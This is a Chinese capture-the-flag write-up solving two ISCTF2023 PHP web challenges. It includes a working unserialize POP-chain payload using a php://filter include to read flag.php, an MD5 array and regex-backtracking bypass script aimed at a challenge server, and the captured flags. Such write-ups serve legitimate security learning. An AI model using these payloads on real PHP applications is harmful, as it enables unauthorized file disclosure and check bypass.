ISCTF2023部分题解
WEB:
圣杯战争 !!!
解题思路:打开题目链接,代码如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow;
}
}
class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!<br>";
return $functioin();
}
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;
}
}
if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}
?>
从代码中可以看出这题再考 PHP 反序列的 POP 链的构造,并且它的这四个魔术方法的触发顺序为:
1. __wakeup() 对对象反序列化自动触发
2. __toString() 对象被当作字符串自动触发
3. __get($key) 访问 prepare 不存在的属性被调用
4. __invoke() saber 被实列被作为函数调用
开始构造 POP 链:
<?php
highlight_file(__FILE__);
error_reporting(0);
class artifact{
public $excalibuer;
public $arrow;
public function __construct()
{
$this->excalibuer= new prepare();
}
}
class prepare{
public $release;
}
class saber{
public $weapon='php://filter/convert.base64-encode/resource=flag.php'; //指
定过滤方式,访问flag.php
}
class summon{
public $Saber;
public $Rider;
}
$a = new summon();
$a->Saber =new artifact();
$a->Saber->excalibuer->release=new saber();
echo urldecode(serialize($a));
?>
运行一下即可得到反序列化 POP 链:
O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:
{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-
encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}
用 HackBar 传入 get 参数,即可在页面中得到:
对得到的字符串 base64 解密一下得到 flag :
ISCTF{9b2fef42-d7ea-4ce0-8d17-388a15e46949}
绕进你的心里
解题思路:打开题目链接,代码如下:
<?php highlight_file(__FILE__); error_reporting(0); require 'flag.php'; $str = (String)$_POST['pan_gu']; $num = $_GET['zhurong']; $lida1 = $_GET['hongmeng']; $lida2 = $_GET['shennong']; if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){ echo "md5绕过了!"; if(preg_match("/[0-9]/", $num)){ die('你干嘛?哎哟!'); } elseif(intval($num)){ if(preg_match('/.+?ISCTF/is', $str)){ die("再想想!"); } if(stripos($str, '2023ISCTF') === false){ die("就差一点点啦!"); } echo $flag; } } ?>
MD5强比较“===”绕过,此时只能用数组绕过的方法 ,而preg_match() 函数无法处理数组导致被绕过
所以上传 :
?hongmeng[]=1&shennong[]=2&zhurong[]=1
(preg_match('/.+?ISCTF/is', $str))利用正则回溯最大次数上限进行绕过,但后面要拼接上2023ISCTF
才可绕过stripos函数
import requests url="http://43.249.195.138:22437/?hongmeng[]=1&shennong[]=2&zhurong[]=1" post={ 'pan_gu':"a"*100000+"2023ISCTF" } r=requests.post(url,data=post) print(r.text)
运行脚本得到flag:
ISCTF{be2854d5-7665-4a55-a0f4-9f45d361cc51}